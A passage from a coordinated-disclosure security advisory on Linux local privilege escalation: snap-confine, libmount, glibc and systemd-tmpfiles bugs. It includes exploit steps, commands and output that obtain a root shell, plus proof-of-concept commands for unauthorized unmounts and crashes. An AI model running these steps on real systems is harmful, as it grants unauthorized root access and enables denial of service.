> 1/ and 3/ and replace /tmp/.snap/var/lib -- and hence /var/lib -- with
> our own directory tree.
>
> Note: we can reliably win this race condition by "single-stepping"
> snap-confine (we execute it with SNAPD_DEBUG=1, we redirect its stderr
> to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we read()
> its output byte by byte, and we MSG_PEEK at its buffered output).
>
> This race condition allows us to replace
> /var/lib/snapd/mount/snap.snap-store.user-fstab with our own fstab file,
> which allows us to set up near-arbitrary bind-mounts inside snap-store's
> mount namespace. These bind-mounts are not completely arbitrary, because
> they are restricted by the "snap-update-ns.snap-store" AppArmor profile,
> whose most interesting rules are:
>
> ------------------------------------------------------------------------
>  170   mount options=(rbind, rw) /tmp/.snap/*/ -> /*/,
>  ...
>  762   mount options=(rbind, rw) /tmp/.snap/var/lib/*/ -> /var/lib/*/,
> ------------------------------------------------------------------------
>
> Our action plan, then, is:
>
> - we create a copy of /etc (minus the unreadable files like /etc/shadow)
>  into /tmp/.tmp/.snap/etc (which will become /tmp/.snap/etc inside
>  snap-store's mount namespace);
>
> - we create a file /tmp/.tmp/.snap/etc/ld.so.preload (which contains the
>  library name "/tmp/librootshell.so"), and we create a shared library
>  /tmp/.tmp/librootshell.so (which will become /tmp/librootshell.so
>  inside snap-store's mount namespace);
>
> - we bind-mount our /tmp/.tmp onto /tmp (inside snap-store's mount
>  namespace) by exploiting CVE-2021-44731 (note: /tmp/snap.snap-store
>  does not normally exist, but if it does, we can use our "@reboot"
>  crontab trick to create it ourselves on the next reboot);
>
> - we bind-mount the contents of /tmp/.tmp/.snap/var/lib into /var/lib
>  (inside snap-store's mount namespace) by exploiting the race condition
>  between 1/ and 3/ in snap-update-ns;
>
> - we add the following bind-mount line to our
>  /tmp/.tmp/.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (which
>  is effectively /var/lib/snapd/mount/snap.snap-store.user-fstab inside
>  snap-store's mount namespace):
>
>  /tmp/.snap/etc /etc none rbind,rw 0 0
>
> - we execute snap-confine (outside snap-store's mount namespace), which
>  reads our user-fstab file and bind-mounts our copy of /etc (inside
>  snap-store's mount namespace) -- this bind-mount is allowed by the
>  line 170 of the "snap-update-ns.snap-store" AppArmor profile;
>
> - we execute the SUID-root program /usr/lib/snapd/snap-confine (inside
>  snap-store's mount namespace), which reads our /etc/ld.so.preload and
>  therefore executes our shared library /tmp/librootshell.so, as root --
>  these two operations are allowed by the "snap.snap-store.snap-store"
>  AppArmor profile:
>
> ------------------------------------------------------------------------
>  34   /etc/ld.so.preload r,
>  ...
>  299   /tmp/** mrwlkix,
> ------------------------------------------------------------------------
>
> ________________________________________________________________________
>
> First, failed attempt
> ________________________________________________________________________
>
> Our first attempt succeeded in bind-mounting our own /etc but failed to
> execute a SUID-root program inside snap-store's mount namespace. Indeed,
> snap-confine's defensive programming detected that /var/lib/snapd does
> not belong to root (it belongs to us, inside snap-store's mount
> namespace), and called exit() (via validate_bpfpath_is_safe()):
>
> ------------------------------------------------------------------------
> $ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane)
>
> $ gcc -o CVE-2021-44731-Desktop CVE-2021-44731-Desktop.c
> $ ./CVE-2021-44731-Desktop
> ...
> change.go:316: DEBUG: mount name:"/tmp/.snap/var/lib/snapd" dir:"/var/lib/snapd" type:"" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> ...
>
> $ cp -a /etc /tmp/.tmp/.snap
> $ echo /tmp/librootshell.so > /tmp/.tmp/.snap/etc/ld.so.preload
> $ gcc -fpic -shared -o /tmp/.tmp/librootshell.so librootshell.c
> $ mkdir /tmp/.tmp/.snap/var/lib/snapd/mount
> $ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > /tmp/.tmp/.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core18 snap.snap-store.snap-store /usr/lib/snapd/snap-confine
> ...
> change.go:316: DEBUG: mount name:"/tmp/.snap/etc" dir:"/etc" type:"none" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> ...
> DEBUG: loading bpf program for security tag snap.snap-store.snap-store
> /var/lib/snapd not root-owned 1001:1001
> ------------------------------------------------------------------------
>
> ________________________________________________________________________
>
> Second, successful attempt
> ________________________________________________________________________
>
> The solution to this problem is easy; because the original, root-owned
> bind-mount of /var/lib still exists inside snap-store's mount namespace
> (we merely renamed it, during the race condition between 1/ and 3/), we
> can simply rename it back to /tmp/.snap/var/lib, and add the following
> bind-mount line to our user-fstab file:
>
>  /tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0
>
> This bind-mount is allowed by the line 762 of the
> "snap-update-ns.snap-store" AppArmor profile, and allows us to change
> the ownership of /var/lib/snapd back to root, and to execute a SUID-root
> program inside snap-store's mount namespace (and hence our own shared
> library, as root):
>
> ------------------------------------------------------------------------
> $ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> /tmp/.tmp/.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
> $ mv -i /tmp/.tmp/.snap/var/lib /tmp/.tmp/.snap/var/lib.exchange2
> $ mv -i /tmp/.tmp/.snap/var/lib.exchange /tmp/.tmp/.snap/var/lib
>
> $ env -i SNAPD_DEBUG=1 SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core18 snap.snap-store.snap-store /usr/lib/snapd/snap-confine
> ...
> change.go:316: DEBUG: mount name:"/tmp/.snap/etc" dir:"/etc" type:"none" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> change.go:316: DEBUG: mount name:"/tmp/.snap/var/lib/snapd" dir:"/var/lib/snapd" type:"none" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> ...
> DEBUG: loading bpf program for security tag snap.snap-store.snap-store
> DEBUG: read 6392 bytes from /var/lib/snapd/seccomp/bpf//snap.snap-store.snap-store.bin
> ...
> DEBUG: execv(/usr/lib/snapd/snap-confine, /usr/lib/snapd/snap-confine...)
> ...
> ------------------------------------------------------------------------
>
> This second attempt succeeded; our shared library created a SUID-root
> shell /tmp/sh that is reachable outside snap-store's mount namespace via
> /tmp/.tmp/sh:
>
> ------------------------------------------------------------------------
> $ /tmp/.tmp/sh -p
> # id
> uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane)
>  ^^^^^^^^^^^^
> # wc /etc/shadow
>  49   49 1617 /etc/shadow
> ------------------------------------------------------------------------
>
>
>
> ========================================================================
> Prologue: CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
> ========================================================================
>
>  Get a little extra help
>  -- Oh No! More Lemmings, Tame Level 14
>
> During our work on snap-confine, we explored many different avenues of
> attack; most of them were dead ends, but some of them led us to the
> discovery of vulnerabilities in related packages and libraries. For
> example, we pondered over the beginning of snap-confine's function
> sc_bootstrap_mount_namespace() for a long time:
>
> ------------------------------------------------------------------------
> 223         char scratch_dir[] = "/tmp/snap.rootfs_XXXXXX";
> ...
> 226         if (mkdtemp(scratch_dir) == NULL) {
> ...
> 234         sc_do_mount("none", "/", NULL, MS_REC | MS_SHARED, NULL);
> ...
> 238         sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
> ...
> 245         sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
> ...
> 254         sc_do_mount(config->rootfs_dir, scratch_dir, NULL, MS_REC | MS_BIND,
> 255                     NULL);
> ------------------------------------------------------------------------
>
> This function is called after unshare(CLONE_NEWNS) to set up the root
> filesystem inside a snap's mount namespace:
>
> - at lines 223-226, it creates a random, temporary scratch directory
>  /tmp/snap.rootfs_XXXXXX (as root, with permissions 0700) that will
>  become the snap's root filesystem;
>
> - at lines 238-245, it bind-mounts this scratch directory onto itself,
>  and makes it unbindable and private (i.e., subsequent mounts inside
>  this directory will not be visible outside the snap's mount
>  namespace);
>
> - at lines 254-255, it bind-mounts the snap's root filesystem onto this
>  scratch directory (for example, /snap/snapd/current, a read-only
>  squashfs that contains a copy of the SUID-root snap-confine).
>
> Our half-baked idea was: what if we were able to unmount the scratch
> directory's private bind-mount, after line 245 but before line 254? The
> bind-mount of the snap's root filesystem (at lines 254-255) would not be
> private anymore, and would therefore be visible outside the snap's mount
> namespace. In other words, we would be able to execute snap-confine via
> /tmp/snap.rootfs_XXXXXX/usr/lib/snapd/snap-confine, which reminded us
> strongly of our exploit for CVE-2021-44730 (but without a hardlink).
>
> Consequently, we audited the SUID-root programs umount and fusermount
> for ways to unmount a filesystem that does not belong to us, and we
> discovered CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
> (which is used internally by umount).
>
> Note: CVE-2021-3996 and CVE-2021-3995 were both introduced by commit
> 5fea669 ("libmount: Support unmount FUSE mounts") in November 2018.
>
>
>
> ========================================================================
> CVE-2021-3996: Unauthorized unmount in util-linux's libmount
> ========================================================================
>
> In order for an unprivileged user to unmount a FUSE filesystem with
> umount, this filesystem must a/ be listed in /proc/self/mountinfo, and
> b/ be a FUSE filesystem (lines 466-470), and c/ belong to the current,
> unprivileged user (lines 477-498):
>
> ------------------------------------------------------------------------
>  451 static int is_fuse_usermount(struct libmnt_context *cxt, int *errsv)
>  452 {
>  ...
>  466         if (strcmp(type, "fuse") != 0 &&
>  467             strcmp(type, "fuseblk") != 0 &&
>  468             strncmp(type, "fuse.", 5) != 0 &&
>  469             strncmp(type, "fuseblk.", 8) != 0)
>  470                 return 0;
>  ...
>  477         if (mnt_optstr_get_option(optstr, "user_id", &user_id, &sz) != 0)
>  478                 return 0;
>  ...
>  490         uid = getuid();
>  ...
>  497         snprintf(uidstr, sizeof(uidstr), "%lu", (unsigned long) uid);
>  498         return strncmp(user_id, uidstr, sz) == 0;
>  499 }
> ------------------------------------------------------------------------
>
> Unfortunately, when parsing /proc/self/mountinfo, the libmount blindly
> removes any " (deleted)" suffix from the mountpoint pathnames (at lines
> 231-233):
>
> ------------------------------------------------------------------------
>  17 #define PATH_DELETED_SUFFIX     " (deleted)"
> ------------------------------------------------------------------------
>  179 static int mnt_parse_mountinfo_line(struct libmnt_fs *fs, const char *s)
>  180 {
>  ...
>  223         /* (5) target */
>  224         fs->target = unmangle(s, &s);
>  ...
>  231         p = (char *) endswith(fs->target, PATH_DELETED_SUFFIX);
>  232         if (p && *p)
>  233                 *p = '\0';
> ------------------------------------------------------------------------
>
> This vulnerability allows an unprivileged user to unmount other users'
> filesystems that are either world-writable themselves (like /tmp) or
> mounted in a world-writable directory (like /tmp/snap.rootfs_XXXXXX).
> For example, on Fedora, /tmp is a tmpfs, so we can mount a basic FUSE
> filesystem named "/tmp/ (deleted)" (with FUSE's "hello world" program,
> ./hello) and unmount /tmp itself (a denial of service):
>
> ------------------------------------------------------------------------
> $ id
> uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>
> $ grep /tmp /proc/self/mountinfo
> 84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64
>
> $ mkdir -m 0700 /tmp/" (deleted)"
> $ ./hello /tmp/" (deleted)"
>
> $ grep /tmp /proc/self/mountinfo
> 84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64
> 620 84 0:46 / /tmp/\040(deleted) rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1000,group_id=1000
>
> $ mount | grep /tmp
> tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel,size=2004304k,nr_inodes=409600,inode64)
> /home/john/hello on /tmp/ type fuse.hello (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)
>
> $ umount -l /tmp/
> $ grep /tmp /proc/self/mountinfo | wc
>  0       0       0
> ------------------------------------------------------------------------
>
>
>
> ========================================================================
> CVE-2021-3995: Unauthorized unmount in util-linux's libmount
> ========================================================================
>
> Alert readers may have spotted another vulnerability in
> is_fuse_usermount(): at line 498, only the first "sz" characters of the
> current user's uid are compared to the filesystem's "user_id" option (sz
> is user_id's length). This second vulnerability allows an unprivileged
> user to unmount the FUSE filesystems that belong to certain other users;
> for example, if our own uid is 1000, then we can unmount the FUSE
> filesystems of the users whose uid is 100, 10, or 1:
>
> ------------------------------------------------------------------------
> $ id
> uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
>
> $ grep fuse /proc/self/mountinfo
> 38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
> 620 87 0:46 / /mnt/bin rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1,group_id=1
>
> $ umount -l /mnt/bin
> $ grep fuse /proc/self/mountinfo
> 38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
> ------------------------------------------------------------------------
>
>
>
> ========================================================================
> Epilogue: snap-confine and CVE-2021-3996 in util-linux's libmount
> ========================================================================
>
> CVE-2021-3996 in libmount allows us to unmount the private bind-mount
> of snap-confine's scratch directory, between the lines 245 and 254 (we
> can reliably win this race condition by "single-stepping" snap-confine
> with SNAPD_DEBUG=1), which allows us to execute the bind-mounted program
> /tmp/snap.rootfs_XXXXXX/usr/lib/snapd/snap-confine. Nonetheless, we were
> unable to reproduce our exploit for CVE-2021-44730 or CVE-2021-44731:
>
> - if we execute snap-confine outside the snap's mount namespace, via
>  /tmp/snap.rootfs_XXXXXX/usr/lib/snapd/snap-confine, then we are unable
>  to provide our own snap-discard-ns program because the directory
>  /tmp/snap.rootfs_XXXXXX already exists and we cannot remove it;
>
> - if we execute snap-confine inside the snap's mount namespace, via
>  /var/lib/snapd/hostfs/tmp/snap.rootfs_XXXXXX/usr/lib/snapd/snap-confine,
>  then snap-confine enters init's mount namespace (outside the snap's
>  mount namespace) and we are unable to provide our own snap-discard-ns
>  program because the directory /var/lib/snapd/hostfs/tmp does not exist
>  and we cannot create it.
>
> If you, dear reader, find a solution to these problems, please post it
> to the public oss-security mailing list!
>
> Note: CVE-2021-3996 might be exploitable in contexts other than
> snap-confine, but we have not explored this possibility.
>
>
>
> ========================================================================
> CVE-2021-3998: Unexpected return value from glibc's realpath()
> ========================================================================
>
>  Triple Trouble
>  -- Lemmings, Taxing Level 26
>
> While auditing umount and fusermount, we also discovered a vulnerability
> in the glibc's realpath() function, which is used internally by various
> programs. Normally, when the output buffer "resolved" that is passed to
> realpath() is not NULL, then realpath() either returns NULL on failure,
> or it returns the output buffer "resolved" on success. Unfortunately,
> since commit c6e0b0b ("stdlib: Sync canonicalize with gnulib") from
> January 2021, realpath() can mistakenly return a malloc()ated buffer
> that is neither NULL nor the output buffer "resolved":
>
> ------------------------------------------------------------------------
> 430 char *
> 431 __realpath (const char *name, char *resolved)
> 432 {
> ...
> 437   struct scratch_buffer rname_buffer;
> 438   return realpath_stk (name, resolved, &rname_buffer);
> 439 }
> ------------------------------------------------------------------------
> 197 static char *
> 198 realpath_stk (const char *name, char *resolved,
> 199               struct scratch_buffer *rname_buf)
> 200 {
> ...
> 399   failed = false;
> ...
> 403   if (resolved != NULL && dest - rname <= get_path_max ())
> 404     rname = strcpy (resolved, rname);
> ...
> 410   if (failed || rname == resolved)
> 411     {
> 412       scratch_buffer_free (rname_buf);
> 413       return failed ? NULL : resolved;
> 414     }
> 415 
> 416   return scratch_buffer_dupfree (rname_buf, dest - rname);
> 417 }
> ------------------------------------------------------------------------
>
> For example, if the input path "name" is "." and if the current working
> directory is longer than PATH_MAX, then:
>
> - at line 399, "failed" is set to false;
>
> - at lines 403-404, "rname" is NOT set to "resolved" and "resolved" is
>  left untouched and uninitialized (because "dest - rname" is longer
>  than PATH_MAX);
>
> - the code block at lines 410-414 is skipped (because "failed" is false
>  and "rname" is not "resolved");
>
> - at line 416, scratch_buffer_dupfree() returns a malloc()ated buffer
>  that is NOT the output buffer "resolved".
>
> The consequences of this vulnerability depend on the affected programs;
> for example, fusermount (a SUID-root program) can disclose sensitive
> information (pointers) when displaying the contents of a stack-based
> buffer that is mistakenly left uninitialized by realpath() (we tested
> this proof of concept on Ubuntu 21.04):
>
> ------------------------------------------------------------------------
> $ gcc -o CVE-2021-3998-fusermount CVE-2021-3998-fusermount.c
> $ ./CVE-2021-3998-fusermount > CVE-2021-3998-fusermount.output
> ...
>
> $ hexdump -C CVE-2021-3998-fusermount.output
> 00000000  2f 75 73 72 2f 62 69 6e  2f 66 75 73 65 72 6d 6f  |/usr/bin/fusermo|
> 00000010  75 6e 74 3a 20 65 6e 74  72 79 20 66 6f 72 20 f0  |unt: entry for .|
> 00000020  83 9b 99 ff 7f 20 6e 6f  74 20 66 6f 75 6e 64 20  |..... not found |
> 00000030  69 6e 20 2f 65 74 63 2f  6d 74 61 62 0a 0a 2f 75  |in /etc/mtab../u|
> 00000040  73 72 2f 62 69 6e 2f 66  75 73 65 72 6d 6f 75 6e  |sr/bin/fusermoun|
> 00000050  74 3a 20 65 6e 74 72 79  20 66 6f 72 20 39 ac b7  |t: entry for 9..|
> 00000060  a5 a2 7f 20 6e 6f 74 20  66 6f 75 6e 64 20 69 6e  |... not found in|
> 00000070  20 2f 65 74 63 2f 6d 74  61 62 0a 0a              | /etc/mtab..|
> ------------------------------------------------------------------------
>
>
>
> ========================================================================
> CVE-2021-3999: Off-by-one buffer overflow/underflow in glibc's getcwd()
> ========================================================================
>
>  Down, along, up. In that order
>  -- Lemmings, Mayhem Level 5
>
> While studying the vulnerability in realpath(), we also discovered a
> vulnerability in the glibc's getcwd() function (which is used internally
> by realpath() to resolve relative pathnames) -- an off-by-one buffer
> overflow and underflow, but if and only if the "size" of "buf" is
> exactly 1:
>
> ------------------------------------------------------------------------
>  48 __getcwd (char *buf, size_t size)
>  49 {
>  ..
>  54   size_t alloc_size = size;
>  ..
>  76     path = buf;
>  ..
>  80   retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
> ...
> 100   if (retval >= 0 || errno == ENAMETOOLONG)
> 101     {
> ...
> 110       result = __getcwd_generic (path, size);
> ------------------------------------------------------------------------
> 158 __getcwd_generic (char *buf, size_t size)
> 159 {
> ...
> 187   size_t allocated = size;
> ...
> 247     dir = buf;
> 248 
> 249   dirp = dir + allocated;
> 250   *--dirp = '\0';
> ...
> 262   while (!(thisdev == rootdev && thisino == rootino))
> 263     {
> ...
> 441     }
> ...
> 449   if (dirp == &dir[allocated - 1])
> 450     *--dirp = '/';
> ...
> 457   used = dir + allocated - dirp;
> 458   memmove (dir, dirp, used);
> ------------------------------------------------------------------------
>
> If, at line 48, the "size" of "buf" is exactly 1:
>
> - and if, at line 80, the kernel's getcwd() syscall fails with the error
>  ENAMETOOLONG (because the current working directory is longer than
>  PATH_MAX),
>
> - then, at line 110, a generic implementation of getcwd() is called;
>
> - at line 250, a null byte is written to "dirp", which points exactly to
>  "buf" (because "size", and hence "allocated", are exactly 1);
>
> - if the code block at lines 262-441 is skipped entirely (if the current
>  working directory corresponds to the "/" directory),
>
> - then, at lines 449-450, a slash is written to "buf-1" (an off-by-one
>  buffer underflow, because at line 449 "dirp" was still pointing
>  exactly to "buf"),
>
> - and, at lines 457-458, a null byte is written to "buf+1" (an
>  off-by-one buffer overflow, because at line 457 "used" is exactly 2).
>
> It may seem impossible to satisfy the condition at line 100 (the current
> working directory is longer than PATH_MAX) and the condition at line 262
> (the current working directory corresponds to the "/" directory), but in
> reality we can:
>
> - in a child process:
>
>  - create an unprivileged mount namespace;
>
>  - create a directory longer than PATH_MAX;
>
>  - bind-mount "/" onto this directory;
>
>  - open() this directory and send its file descriptor to the parent
>  process (outside the unprivileged mount namespace);
>
> - in the parent process:
>
>  - receive the file descriptor of this directory (which corresponds to
>  "/" and is longer than PATH_MAX) and fchdir() to it;
>
>  - execute a SUID program that calls getcwd() with a buffer of size 1,
>  which triggers the off-by-one buffer overflow and underflow.
>
> Apparently, this vulnerability was introduced in February 1995 by the
> very first commit in the glibc's git history (28f540f, "initial import")
> and could be triggered without an unprivileged mount namespace, by
> simply chdir()ing to the "/" directory:
>
> ------------------------------------------------------------------------
> 190 getcwd (buf, size)
> ...
> 218     path = buf;
> ...
> 226   pathp = path + size;
> 227   *--pathp = '\0';
> ...
> 242   while (!(thisdev == rootdev && thisino == rootino))
> 243     {
> ...
> 351     }
> 352 
> 353   if (pathp == &path[size - 1])
> 354     *--pathp = '/';
> ...
> 359   memmove (path, pathp, path + size - pathp);
> ------------------------------------------------------------------------
>
> Although "the size of buf is exactly 1" is a strong requirement,
> vulnerable code like the following may exist in the wild:
>
> ------------------------------------------------------------------------
> #include <unistd.h>
> #include <stdio.h>
>
> int main(int argc, char * argv[]) {
>  char buf[4096];
>  int len = snprintf(buf, sizeof(buf), "%s: cwd is ", argv[0]);
>  if (len <= 0 || (unsigned)len >= sizeof(buf)) return __LINE__;
>  if (!getcwd(buf + len, sizeof(buf) - len)) return __LINE__;
>  puts(buf);
>  return 0;
> }
> ------------------------------------------------------------------------
>
>
>
> ========================================================================
> CVE-2021-3997: Uncontrolled recursion in systemd's systemd-tmpfiles
> ========================================================================
>
>  The Stack
>  -- Oh No! More Lemmings, Crazy Level 6
>
> While trying to exploit snap-confine via CVE-2021-3996, we explored
> alternative ways to remove the scratch directory /tmp/snap.rootfs_XXXXXX
> (a sufficient, and maybe necessary, condition for a successful exploit).
> We therefore looked into systemd-tmpfiles (which "creates, deletes, and
> cleans up volatile and temporary files and directories") and discovered
> a denial of service (an uncontrolled recursion): if we create thousands
> of nested directories in /tmp, then "systemd-tmpfiles --remove" (when
> executed as root at boot time) will call its rm_rf_children() function
> recursively (on each nested directory) and will exhaust its stack and
> crash. For example, on Ubuntu 21.04:
>
> ------------------------------------------------------------------------
> $ cd /tmp
> $ perl -e 'use strict;
> for (my $i = 0; $i < (1<<15); $i++) {
> mkdir "A", 0700 or die;
> chdir "A" or die; }'
> ------------------------------------------------------------------------
>
> Then, as root (warning: this command may delete important files and
> directories in /tmp; it is normally executed at boot time only):
>
> ------------------------------------------------------------------------
> # systemd-tmpfiles --remove
> Segmentation fault (core dumped)
> ------------------------------------------------------------------------
>
> We have not fully explored the implications of this vulnerability;
> however, we noticed that:
>
> - at boot time, systemd executes "systemd-tmpfiles --create --remove
>  --boot --exclude-prefix=/dev";
>
> - systemd-tmpfiles first enters the "remove" phase, and subsequently
>  enters the "create" phase;
>
> - but if systemd-tmpfiles crashes during the "remove" phase, then it
>  never enters the "create" phase;
>
> - and it fails to create the files and directories (specified in
>  /usr/lib/tmpfiles.d/*.conf) that it should create at boot time;
>
> - for example, on Ubuntu 21.04, systemd-tmpfiles fails to create the
>  directory /run/lock/subsys; but because /run/lock is world-writable,
>  attackers can create their own /run/lock/subsys; and because various
>  legacy packages and daemons write into /run/lock/subsys as root, the
>  attackers may create arbitrary files via symlinks in /run/lock/subsys.
>
> Last-minute note: it seems impossible to trigger this vulnerability in
> systemd-tmpfiles versions before commit e535840 ("tmpfiles: let's bump
> RLIMIT_NOFILE for tmpfiles") from February 2019.
>
>
>
> ========================================================================
> Acknowledgments
> ========================================================================
>
> We thank the Ubuntu Security Team (Alex Murray and Seth Arnold in
> particular) for their hard work on the snap-confine vulnerabilities. We
> also thank Red Hat Product Security, Zbigniew Jedrzejewski-Szmek, Karel
> Zak, Siddhesh Poyarekar, and the members of linux-distros@...nwall for
> their work on the systemd, util-linux, and glibc vulnerabilities.
>
> This advisory is dedicated to 8lgm -- followers of symbolic links,
> overflowers of stack buffers, and dereferencers of NULL pointers:
>
> https://attrition.org/security/advisory/8lgm/
> https://web.archive.org/web/20081203221844/packetstorm.linuxsecurity.com/poisonpen/8lgm/ptchown.c
>
>
>
> ========================================================================
> Timeline
> ========================================================================
>
> 2021-10-27: We sent our advisory and proofs-of-concepts to
> security@...ntu.
>
> 2021-11-10: We sent our advisory and proofs-of-concepts (without the
> snap-confine vulnerabilities) to secalert@...hat.
>
> 2021-12-29: We sent a write-up and the patch for the systemd
> vulnerability to linux-distros@...nwall.
>
> 2022-01-10: We published our write-up on the systemd vulnerability
> (https://www.openwall.com/lists/oss-security/2022/01/10/2).
>
> 2022-01-12: Red Hat filed the glibc vulnerabilities upstream
> (https://sourceware.org/bugzilla/show_bug.cgi?id=28769 and
> https://sourceware.org/bugzilla/show_bug.cgi?id=28770).
>
> 2022-01-20: We sent a write-up and the patches for the util-linux
> vulnerabilities to linux-distros@...nwall.
>
> 2022-01-24: We published our write-up on the util-linux vulnerabilities
> (https://www.openwall.com/lists/oss-security/2022/01/24/2).
>
> 2022-01-24: We published our write-up on the glibc vulnerabilities
> (https://www.openwall.com/lists/oss-security/2022/01/24/4).
>
> 2022-02-03: We sent our advisory and Ubuntu sent their patches for the
> snap-confine vulnerabilities to linux-distros@...nwall.
>
> 2022-02-17: Coordinated Release Date (5:00 PM UTC) for the snap-confine
> vulnerabilities.
>

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